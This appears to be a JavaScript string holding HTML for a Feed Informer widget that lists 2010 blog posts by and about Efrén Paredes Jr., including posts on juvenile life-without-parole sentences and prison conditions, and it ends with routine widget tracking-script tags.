var digesttext = "<!-- Header --><!-- Items --><div style=\"padding: 9px; background-color: #d5d5d5; border-top: 4px solid #eee; border-left: 4px solid #eee; border-right: 4px solid #999; border-bottom: 4px solid #999; margin-bottom: 8px\"><b><a href=\"http://4efren.blogspot.com/2010/05/us-supreme-court-says-youth-deserve.html\" style=\"color: #000\">U.S. Supreme Court Says Youth Deserve Second Chance</a></b><br /><small>By Efrén Paredes, Jr. In a landmark ruling, the U.S. Supreme Court issued an opinion on May 17, 2010, ending life without parole (LWOP) sentences for youths in ..</small></div><div style=\"padding: 9px; background-color: #d5d5d5; border-top: 4px solid #eee; border-left: 4px solid #eee; border-right: 4px solid #999; border-bottom: 4px solid #999; margin-bottom: 8px\"><b><a href=\"http://4efren.blogspot.com/2010/04/incarcerated-for-life-at-age-15-lessons.html\" style=\"color: #000\">Incarcerated for Life at Age 15: Lessons From Efrén Paredes,..</a></b><br /><small> The inside of a cell will try to erase you. Efrén Paredes, Jr. knows that, just as his life sentence has also taught him how time can relentlessly add up each ..</small></div><div style=\"padding: 9px; background-color: #d5d5d5; border-top: 4px solid #eee; border-left: 4px solid #eee; border-right: 4px solid #999; border-bottom: 4px solid #999; margin-bottom: 8px\"><b><a href=\"http://4efren.blogspot.com/2010/03/letter-from-efren.html\" style=\"color: #000\">Letter from Efrén</a></b><br /><small>Dear Friends, After careful deliberation and time to regroup from the news of the Governor denying my Commutation of Sentence Request, I have decided that befor..</small></div><div style=\"padding: 9px; background-color: #d5d5d5; border-top: 4px solid #eee; border-left: 4px solid #eee; border-right: 4px solid #999; border-bottom: 4px solid #999; margin-bottom: 8px\"><b><a href=\"http://4efren.blogspot.com/2010/03/could-facebook-save.html\" style=\"color: #000\">Could Facebook Save His Live?</a></b><br /><small>By Leticia Miranda Like many people in their 30s, Efrén Paredes Jr. has a lot of friends online (more than 3,400 on Facebook). Unlike most people online, Parede..</small></div><div style=\"padding: 9px; background-color: #d5d5d5; border-top: 4px solid #eee; border-left: 4px solid #eee; border-right: 4px solid #999; border-bottom: 4px solid #999; margin-bottom: 8px\"><b><a href=\"http://4efren.blogspot.com/2010/03/fighting-for-their-lives.html\" style=\"color: #000\">Fighting for Their Lives</a></b><br /><small>By Leticia Miranda The Supreme Court considers whether it’s cruel and unusual punishment to lock up teenagers for life without parole. Efrén Paredes Jr. was a 1..</small></div><div style=\"padding: 9px; background-color: #d5d5d5; border-top: 4px solid #eee; border-left: 4px solid #eee; border-right: 4px solid #999; border-bottom: 4px solid #999; margin-bottom: 8px\"><b><a href=\"http://4efren.blogspot.com/2010/02/one-michigan-prisons-addiction-chemical.html\" style=\"color: #000\">ONE MICHIGAN PRISON\'S ADDICTION TO CHEMICAL AGENT ASSAULTS O..</a></b><br /><small>by Efren Paredes, Jr. F ebruary 10, 2010, marked the third time in two weeks that the Warden at the Oaks Facility authorized the use of chemical agents to be sp..</small></div><div style=\"padding: 9px; background-color: #d5d5d5; border-top: 4px solid #eee; border-left: 4px solid #eee; border-right: 4px solid #999; border-bottom: 4px solid #999; margin-bottom: 8px\"><b><a href=\"http://4efren.blogspot.com/2010/02/message-from-efren-paredes-jr-for.html\" style=\"color: #000\">Message from Efrén Paredes, Jr. for Xicano History Month 201..</a></b><br /><small>It is a pleasure to share this message with you as we give honor to the enormous contributions made by our hermanas toward the advancement of our beloved gente...</small></div><div style=\"padding: 9px; background-color: #d5d5d5; border-top: 4px solid #eee; border-left: 4px solid #eee; border-right: 4px solid #999; border-bottom: 4px solid #999; margin-bottom: 8px\"><b><a href=\"http://4efren.blogspot.com/2010/02/eliminating-childhood-obesity-rescuing.html\" style=\"color: #000\">Eliminating Childhood Obesity, Rescuing Our Future</a></b><br /><small> by Efrén Paredes, Jr. First lady Michelle Obama launched “Let’s Move”, a campaign to help parents combat the national health crisis of childhood obesity. The c..</small></div><div style=\"padding: 9px; background-color: #d5d5d5; border-top: 4px solid #eee; border-left: 4px solid #eee; border-right: 4px solid #999; border-bottom: 4px solid #999; margin-bottom: 8px\"><b><a href=\"http://4efren.blogspot.com/2010/01/aid-to-haiti-desperately-needed.html\" style=\"color: #000\">Aid to Haiti Desperately Needed</a></b><br /><small> by Efren Paredes Jr. Tuesday, January 12, 2010, the largest earthquake in more than a century devastated the nation of Haiti. The poorest country in the Wester..</small></div><div style=\"padding: 9px; background-color: #d5d5d5; border-top: 4px solid #eee; border-left: 4px solid #eee; border-right: 4px solid #999; border-bottom: 4px solid #999; margin-bottom: 8px\"><b><a href=\"http://4efren.blogspot.com/2010/01/what-will-2010-bring.html\" style=\"color: #000\">What will 2010 Bring?</a></b><br /><small> by Efren Paredes, Jr. As we usher in the dawn of the new decade many people will ask themselves, \"what will 2010 mean to my life?\" Some will respond with optim..</small></div><!-- Footer --><div class=\"fdpoweredby\" style=\"text-align: right; font-size: 10px; font-family: sans-serif\"><a style=\"color: #888\" href=\"http://feed.informer.com\">Powered by Feed Informer</a></div><script type=\"text/javascript\">/* <![CDATA[ */document.write(\"<img src=\'http://hits.informer.com/log.php?id=44&amp;r=\"+ Math.round(100000 * Math.random()) + \"\' />\");/* ]]> */</script><script type=\"text/javascript\" src=\"http://208.88.226.83/log_e.php?id=XGPJGFLSJC&amp;r=0.334236661532582\"></script>";
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